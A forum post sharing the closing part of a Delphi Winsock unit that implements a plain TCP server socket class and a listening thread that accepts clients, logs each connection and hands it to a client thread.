    constructor TServerSocket.Create;
    begin
    	inherited;
      FSocket := INVALID_SOCKET;
    end;
    
    function TServerSocket.AcceptConnection: TClientSocket;
    var
      SockAddr: TSockAddr;
      SockAddr_Len: Integer;
    begin
      SockAddr_Len := SizeOf(SockAddr);
      Result := TClientSocket.Create;
      Result.Socket := accept(FSocket, @SockAddr, @SockAddr_Len);
    	Result.SetConnection;
    end;
    
    function TServerSocket.Listen(Port: Word): Boolean;
    var
      SockAddrIn: TSockAddrIn;
    begin
      Result := False;
      FSocket := socket(AF_INET, SOCK_STREAM, 0);
      SockAddrIn.sin_family := AF_INET;
      SockAddrIn.sin_addr.s_addr := INADDR_ANY;
      SockAddrIn.sin_port := htons(Port);
      if bind(FSocket, SockAddrIn, SizeOf(SockAddrIn)) <> 0 then Exit;
      if Winsock.listen(FSocket, SOMAXCONN) <> 0 then Exit;
      Result := True;
    end;
    
    procedure TServerSocket.StopListening;
    begin
      shutdown(FSocket, SD_BOTH);
      closesocket(FSocket);
      FSocket := INVALID_SOCKET;  
    end;
    //--End;
    
    {Region TServerSocketThread}
    //--Begin
    constructor TServerSocketThread.Create(CreateSuspended: Boolean);
    begin
    	inherited;
      FSocket := INVALID_SOCKET;
      FListening := False;                                    
      FServerSocket := nil;
      FClientSocket := nil;
      FClientSocketThread := nil;
      FPort := 0;  
      FreeOnTerminate := True;  
    end;
    
    procedure TServerSocketThread.Execute;
    begin
      StartServer;
      StopServer;
    end;
    
    procedure TServerSocketThread.TestPort;
    begin
      FServerSocket := TServerSocket.Create;
      FListening := FServerSocket.Listen(FPort);
    end;
    
    procedure TServerSocketThread.StartServer;
    begin
      if not FListening then Exit;
      repeat
        FClientSocket := TClientSocket.Create;
        FClientSocket := FServerSocket.AcceptConnection;
        if not FClientSocket.Connected then
        begin
          AddLog(FormMain.lvLogs, 'Error: Failed to accept Socket(' + IntToStr(FClientSocket.Socket) + ').');
          FClientSocket.Disconnect;
          FClientSocket.Free;
          FClientSocket := nil;
          Exit;
        end;
    
        AddLog(FormMain.lvLogs, 'Socket(' + IntToStr(FClientSocket.Socket) + ')' + ' connected from ' +
          FClientSocket.RemoteAddress + ':' + IntToStr(FClientSocket.LocalPort) + '.');
        FClientSocketThread := TClientSocketThread.Create();
        FClientSocketThread.FClientSocket := FClientSocket;
        FClientSocketThread.Resume;
      until False;
    end;
    
    procedure TServerSocketThread.StopServer;
    begin
      FServerSocket.StopListening;
      FServerSocket.Free;
      FServerSocket := nil;
      FListening := False;
    end;
    //--End;
    
    //Don't remove following lines!
    initialization
      WSAStartup($101, WSAData);
    
    finalization
      WSACleanup();
    
    end.
    The only aim of a coder is to make simple, beautiful and working algorithm.
  4. Likes root, Torturer liked this post

Thread Information

Users Browsing this Thread

There are currently 1 users browsing this thread. (0 members and 1 guests)

Similar Threads

  1. SocketUnitEx.pas v1.3 (Update)
    By Wr h1d3 in forum Delphi Components
    Replies: 0
    Last Post: 18-06-2016, 13:23
  2. SocketUnitEx v1.1 (Update)
    By Wr h1d3 in forum Delphi Components
    Replies: 0
    Last Post: 05-06-2016, 00:52
  3. SocketUnitEx
    By Wr h1d3 in forum Delphi Components
    Replies: 0
    Last Post: 28-05-2016, 13:50
  4. DNS Update
    By ZarKillerZ in forum C Snippets
    Replies: 2
    Last Post: 13-01-2012, 11:37
  5. [SRC] On the Fly Update for RAT's
    By slayer616 in forum VB Malware Sources
    Replies: 3
    Last Post: 31-05-2009, 20:28

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts

Tags for this Thread